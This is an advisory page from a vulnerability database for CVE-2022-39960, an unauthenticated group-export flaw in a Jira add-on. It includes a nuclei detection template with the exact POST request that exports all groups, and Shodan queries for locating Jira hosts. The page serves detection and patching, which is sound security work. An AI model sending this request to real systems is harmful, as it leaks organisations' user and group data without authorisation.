HexBrain

Browse / CVEs / CVE-2022-39960

CVE-2022-39960· netic / group export· CWE-862

Jira Netic Group Export <1.0.3 - Missing Authorization

mediumseverity
5.3CVSS score
25.7%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

Jira Netic Group Export add-on before 1.0.3 contains a missing authorization vulnerability. The add-on does not perform authorization checks, which can allow an unauthenticated user to export all groups from the Jira instance by making a groupexport_download=true request to a plugins/servlet/groupexportforjira/admin/ URI and thereby potentially obtain sensitive information, modify data, and/or execute unauthorized operations.

Impact

An attacker can exploit this vulnerability to gain unauthorized access to sensitive data.

Fix

Upgrade to Jira Netic Group Export version 1.0.3 or later to fix the missing authorization issue.

How to confirm it

Send: POST /plugins/servlet/groupexportforjira/admin/json
Positive when: contains "\"jiraGroupObjects\"" and "\"groupName\"" AND contains in header "attachment" and "jira-group-export" AND status 200

Run it with nuclei: nuclei -id CVE-2022-39960 -u <target>

The full check
id: CVE-2022-39960

info:
  name: Jira Netic Group Export <1.0.3 - Missing Authorization
  author: For3stCo1d
  severity: medium
  description: |
    Jira Netic Group Export add-on before 1.0.3 contains a missing authorization vulnerability. The add-on does not perform authorization checks, which can allow an unauthenticated user to export all groups from the Jira instance by making a groupexport_download=true request to a plugins/servlet/groupexportforjira/admin/ URI and thereby potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive data.
  remediation: |
    Upgrade to Jira Netic Group Export version 1.0.3 or later to fix the missing authorization issue.
  reference:
    - https://gist.github.com/CveCt0r/ca8c6e46f536e9ae69fc6061f132463e
    - https://marketplace.atlassian.com/apps/1222388/group-export-for-jira/version-history
    - https://nvd.nist.gov/vuln/detail/CVE-2022-39960
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Henry4E36/POCS
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-39960
    cwe-id: CWE-862
    epss-score: 0.2568
    epss-percentile: 0.9798
    cpe: cpe:2.3:a:netic:group_export:*:*:*:*:*:jira:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: netic
    product: group_export
    framework: jira
    shodan-query:
      - http.component:"Atlassian Jira"
      - http.component:"atlassian jira"
  tags: cve,cve2022,atlassian,jira,netic,unauth,vkev,vuln

http:
  - raw:
      - |
        POST /plugins/servlet/groupexportforjira/admin/json HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        groupexport_searchstring=&groupexport_download=true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"jiraGroupObjects"'
          - '"groupName"'
        condition: and

      - type: word
        part: header
        words:
          - "attachment"
          - "jira-group-export"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from